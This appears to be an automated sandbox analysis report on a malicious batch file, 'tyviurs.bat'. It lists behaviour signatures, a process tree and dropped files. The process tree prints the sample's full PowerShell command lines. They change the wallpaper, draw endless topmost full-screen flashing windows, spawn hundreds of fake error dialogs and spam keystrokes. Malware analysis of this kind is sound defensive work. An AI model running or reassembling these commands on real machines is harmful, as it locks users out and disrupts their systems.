Overview

overview

8

Static

static

1

tyviurs.bat

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    899s
  • max time network
    553s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/09/2026, 04:38

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    tyviurs.bat
  • Size 6KB
  • Sample260924-e9m3mseb33
  • SHA256 437fb43b4480f77ce5929707ada447b2961ecf2135d96d20c52a5c6283ffd632
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwaredefense_evasionexecutionpersistenceransomwarespyware

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 50 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tyviurs.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4384
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-Type -AssemblyName PresentationFramework; if([System.Windows.MessageBox]::Show('Do you want to run?','Error 404','OKCancel','Warning') -ne 'OK'){exit}"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:968
    • C:\Windows\system32\timeout.exe
      timeout /t 10 /nobreak
      2⤵
      • Delays execution with timeout.exe
      PID:3132
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class W{[DllImport(\"user32.dll\",CharSet=CharSet.Auto)]public static extern int SystemParametersInfo(int u,int s,string p,int f);}'; [W]::SystemParametersInfo(20, 0, 'C:\Users\Admin\AppData\Local\Temp\taylor.jpg', 3)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Sets desktop wallpaper using registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:900
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nowhcwtf\nowhcwtf.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5140
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB1B2.tmp" "c:\Users\Admin\AppData\Local\Temp\nowhcwtf\CSC384325FAA14A4CA788E3087E63CA21C.TMP"
          4⤵
            PID:4180
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\taylor.jpg" /f
        2⤵
        • Sets desktop wallpaper using registry
        PID:564
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
        2⤵
          PID:3416
        • C:\Windows\system32\rundll32.exe
          RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True
          2⤵
            PID:5728
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class W{[DllImport(\"user32.dll\")]public static extern bool SetForegroundWindow(IntPtr h);public static extern bool SetWindowPos(IntPtr h,int a,int x,int y,int w,int ht,uint f);}'; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.TopMost=$true; $f.ShowInTaskbar=$false; $f.Bounds=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $c=New-Object System.Windows.Forms.Timer; $c.Interval=120; $r=New-Object Random; $c.Add_Tick({$f.BackColor=[System.Drawing.Color]::FromArgb($r.Next(2)*255,$r.Next(2)*255,$r.Next(2)*255)}); $c.Start(); [W]::SetForegroundWindow($f.Handle); $f.Show(); while($true){[W]::SetWindowPos($f.Handle,-1,0,0,$f.Width,$f.Height,0x0040); Start-Sleep -Milliseconds 50}"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:5612
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\53hcn3fg\53hcn3fg.cmdline"
              3⤵
                PID:3316
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class W{[DllImport(\"user32.dll\")]public static extern bool SetWindowPos(IntPtr h,int a,int x,int y,int w,int ht,uint f);}'; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.TopMost=$true; $f.ShowInTaskbar=$false; $f.Bounds=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $f.TransparencyKey=[System.Drawing.Color]::Fuchsia; $f.BackColor=[System.Drawing.Color]::Fuchsia; $f.Add_Paint({ $g=$_.Graphics; $r=New-Object Random; $hue=$r.Next(360); $sw=$f.Width; $sh=$f.Height; for($i=0;$i -lt 300;$i++){ $col=[System.Drawing.Color]::FromArgb(180,([int](255*([math]::Abs([math]::Sin(($hue+$i)60)*3.14159/180)))56,([int](255*([math]::Sin((($hue+$i)*2)60)*3.14159/180)))56,([int](255*([math]::Cos((($hue+$i)*3)60)*3.14159/180)))56); $pen=New-Object System.Drawing.Pen($col,2); $g.DrawLine($pen,$r.Next($sw),$r.Next($sh),$r.Next($sw),$r.Next($sh)) }}); $t=New-Object System.Windows.Forms.Timer; $t.Interval=100; $t.Add_Tick({$f.Invalidate()}); $t.Start(); $f.Show(); $f.Activate(); while($true){[W]::SetWindowPos($f.Handle,-1,0,0,$f.Width,$f.Height,0x0040); Start-Sleep -Milliseconds 60}"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:6064
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $r=New-Object Random; $sw=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; $sh=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height; for($i=0;$i -lt 300;$i++){ $f=New-Object System.Windows.Forms.Form; $f.StartPosition='Manual'; $f.TopMost=$true; $f.Text='ERROR 404'; $f.Size=New-Object System.Drawing.Size(320,120); $f.Location=New-Object System.Drawing.Point($r.Next($sw-320),$r.Next($sh-120)); $l=New-Object System.Windows.Forms.Label; $l.Text='Error 404: PAGE NOT FOUND'; $l.Dock='Fill'; $l.BackColor=[System.Drawing.Color]::Black; $l.ForeColor=[System.Drawing.Color]::Red; $l.TextAlign='MiddleCenter'; $f.Controls.Add($l); $f.Show(); Start-Sleep -Milliseconds 120 }"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4692
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; while($true){[System.Windows.Forms.SendKeys]::SendWait('{ENTER}'); Start-Sleep -Milliseconds 150}"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4796
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" start "" /min powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework; $r=New-Object Random; $msgs=@('Error 404: PAGE NOT FOUND','Taylor has taken over','SYSTEM FAILURE','Access Denied','BAD BLOOD','You cannot escape','404 404 404'); while($true){[System.Windows.MessageBox]::Show($msgs[$r.Next($msgs.Count)],'ERROR 404','OK','Error')"
              2⤵
                PID:4528
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k GPSvcGroup
              1⤵
                PID:4464
              • C:\Windows\system32\sihost.exe
                sihost.exe
                1⤵
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of WriteProcessMemory
                PID:6036
                • C:\Windows\explorer.exe
                  explorer.exe /LOADSAVEDWINDOWS
                  2⤵
                  • Boot or Logon Autostart Execution: Active Setup
                  • Enumerates connected drives
                  • Checks SCSI registry key(s)
                  • Modifies Internet Explorer settings
                  • Modifies registry class
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  • Suspicious use of SetWindowsHookEx
                  PID:5620
              • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                1⤵
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                PID:2660
              • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                1⤵
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                PID:4236
              • C:\Windows\System32\SecurityHealthHost.exe
                \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
                1⤵
                  PID:4344

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      ModuleAnalysisCache
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                      • Size 67KB
                      • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 575c8b8011cfc540a516c5dc0c230bfe7c080b05e2109a55d8efdf60554775e4
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 d1a8e44d3b8019d2656ea79997c61d18d54951291ed354848ea368fa947a0b64
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      prep_Activatable Class_Hermes_perf.cache
                      • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                      • Size 599B
                      • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      RESB1B2.tmp
                      • Path C:\Users\Admin\AppData\Local\Temp\RESB1B2.tmp
                      • Size 1KB
                      • SHA256 495c077d536ca4ab3972f22a5c71188cb56088971dde39393ab3c64b5afa33f5
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      __PSScriptPolicyTest_ahusnzlt.jvd.ps1
                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ahusnzlt.jvd.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      nowhcwtf.dll
                      • Path C:\Users\Admin\AppData\Local\Temp\nowhcwtf\nowhcwtf.dll
                      • Size 3KB
                      • SHA256 e8ebd15426832462a936ee216bf97998a08df06fe6b936d7e3c322b8535d1c5d
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      590aee7bdd69b59b.customDestinations-ms
                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                      • Size 6KB
                      • SHA256 4cac0914aabacb74abac7a70dc7d2fe43388cf5ec314af40918ffd294fb006e1
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      590aee7bdd69b59b.customDestinations-ms
                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                      • Size 6KB
                      • SHA256 ce5291d9ed2fee3c5d93e54224c1d36b4cc9a2d2c7d0ec973fe38de396cd6a6a
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      590aee7bdd69b59b.customDestinations-ms
                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                      • Size 6KB
                      • SHA256 cc61e9cbd3502cbe4d4dc471a7f852e2f6e06e52c9e1826c4a6f8e6c5b0e0330
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      WLETG3NVWPCCNXFTO2EF.temp
                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WLETG3NVWPCCNXFTO2EF.temp
                      • Size 6KB
                      • SHA256 abc0020c897bdadf5f540793cc6e7d2bd86c19479a5cb6a9057320142795bc8c
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      53hcn3fg.0.cs
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\53hcn3fg\53hcn3fg.0.cs
                      • Size 237B
                      • SHA256 e49545e7865b2d14e275ebe146b278e82fa68f4ba475162b42ce80acc1e44758
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      53hcn3fg.cmdline
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\53hcn3fg\53hcn3fg.cmdline
                      • Size 369B
                      • SHA256 fb1948613a9ca5d48a8818b1c9f9f7e72c4a591d517a9345bb89e44ea06b812b
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      CSC384325FAA14A4CA788E3087E63CA21C.TMP
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\nowhcwtf\CSC384325FAA14A4CA788E3087E63CA21C.TMP
                      • Size 652B
                      • SHA256 20afc123611ce3edd4eab946e6d330aabea4a26f5c13de948cb345451d96e973
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      nowhcwtf.0.cs
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\nowhcwtf\nowhcwtf.0.cs
                      • Size 189B
                      • SHA256 8be5cd28c908eda183e4a865dfe8deec39c800a686b4fa79fbe56c3d0e37333f
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      nowhcwtf.cmdline
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\nowhcwtf\nowhcwtf.cmdline
                      • Size 369B
                      • SHA256 ed42d93a2cf786e64c17bcf14180924d2eee22218159bd4c19e22ae44dc30bb5
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      memory/900-41-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/900-50-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/900-31-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/900-32-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/900-23-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/900-21-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/900-40-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/900-20-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/900-19-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/900-47-0x00000283FA9D0000-0x00000283FA9D8000-memory.dmp
                      Download

                      memory/900-22-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/900-49-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/968-10-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/968-9-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/968-0-0x00007FFA0E82F000-0x00007FFA0E830000-memory.dmp
                      Download

                      memory/968-16-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/968-8-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/968-13-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/968-12-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/968-11-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/968-15-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/968-18-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/968-14-0x00007FFA0E6A0000-0x00007FFA0F044000-memory.dmp
                      Download

                      memory/968-6-0x0000023AA6E60000-0x0000023AA6E82000-memory.dmp
                      Download

                      memory/2660-116-0x0000024F86890000-0x0000024F86990000-memory.dmp
                      Download

                      memory/2660-152-0x0000024F8B670000-0x0000024F8B690000-memory.dmp
                      Download

                      memory/2660-179-0x0000024F9BB10000-0x0000024F9BB30000-memory.dmp
                      Download

                      memory/2660-142-0x0000024F8B770000-0x0000024F8B870000-memory.dmp
                      Download

                      memory/2660-141-0x0000024F8B530000-0x0000024F8B550000-memory.dmp
                      Download

                      memory/2660-296-0x0000024F86B30000-0x0000024F86D13000-memory.dmp
                      Download